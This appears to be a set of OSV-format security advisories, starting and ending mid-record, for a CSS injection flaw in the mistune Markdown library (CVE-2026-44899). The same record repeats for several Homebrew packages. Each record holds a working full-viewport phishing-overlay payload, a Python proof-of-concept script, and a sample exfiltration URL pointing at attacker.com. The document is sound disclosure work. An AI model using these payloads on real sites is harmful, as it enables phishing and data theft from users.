  "details": "## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties \u2014 including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` \u2014 using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor \u2014 prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same \u2014 prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += \u0027 width=\"\u0027 + width + \u0027\"\u0027   # safe: integer \u2192 HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer \u2192 raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 \u2014 Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 \u2014 Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` \u2014 starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` \u2014 overrides height to full viewport height\n- `;position:fixed` \u2014 lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` \u2014 anchors overlay to the top-left corner\n- `;z-index:9999` \u2014 places it above all other page content\n- `;background-color:#e11d48` \u2014 fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` \u2014 adds a bright yellow border\n- `;color:#fff;opacity:.93` \u2014 styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\n```\n```\n\n**Step 4 \u2014 Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"\u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection \u2014 width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n\u2192 a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  \u2192 overlay sits above the entire page\n#   top/left/width/height \u2192 covers 100 % of the viewport\n#   background-color:#e11d48 \u2192 vivid crimson fill\n#   outline:8px solid #facc15 \u2192 bright yellow border\n#   color:#fff \u2192 white alt-text label\n#   z-index:9999 \u2192 on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f\u0027\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e\u0027\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 \u2014 Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 \u2014 Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only \u2014 no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed \u00b7 background-color \u00b7 outline colour \u00b7 full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  \u26a0 The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims \u2192 clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline \u2192 full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker\u0027s design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.",
  "id": "BREW-iredis-CVE-2026-44899",
  "modified": "2026-09-10T00:12:30Z",
  "published": "2026-08-13T17:00:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Image Directive CSS Injection Vulnerability",
  "upstream": [
    "GHSA-ccfx-mfmx-2fx9",
    "CVE-2026-44899",
    "PYSEC-2026-2209"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "jiratui",
        "purl": "pkg:brew/jiratui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.0_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties \u2014 including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` \u2014 using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor \u2014 prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same \u2014 prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += \u0027 width=\"\u0027 + width + \u0027\"\u0027   # safe: integer \u2192 HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer \u2192 raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 \u2014 Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 \u2014 Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` \u2014 starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` \u2014 overrides height to full viewport height\n- `;position:fixed` \u2014 lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` \u2014 anchors overlay to the top-left corner\n- `;z-index:9999` \u2014 places it above all other page content\n- `;background-color:#e11d48` \u2014 fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` \u2014 adds a bright yellow border\n- `;color:#fff;opacity:.93` \u2014 styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\n```\n```\n\n**Step 4 \u2014 Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"\u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection \u2014 width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n\u2192 a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  \u2192 overlay sits above the entire page\n#   top/left/width/height \u2192 covers 100 % of the viewport\n#   background-color:#e11d48 \u2192 vivid crimson fill\n#   outline:8px solid #facc15 \u2192 bright yellow border\n#   color:#fff \u2192 white alt-text label\n#   z-index:9999 \u2192 on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f\u0027\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e\u0027\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 \u2014 Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 \u2014 Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only \u2014 no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed \u00b7 background-color \u00b7 outline colour \u00b7 full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  \u26a0 The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims \u2192 clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline \u2192 full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker\u0027s design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.",
  "id": "BREW-jiratui-CVE-2026-44899",
  "modified": "2026-09-10T00:14:14Z",
  "published": "2026-08-13T17:00:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Image Directive CSS Injection Vulnerability",
  "upstream": [
    "GHSA-ccfx-mfmx-2fx9",
    "CVE-2026-44899",
    "PYSEC-2026-2209"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "jupyterlab",
        "purl": "pkg:brew/jupyterlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties \u2014 including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` \u2014 using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor \u2014 prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = 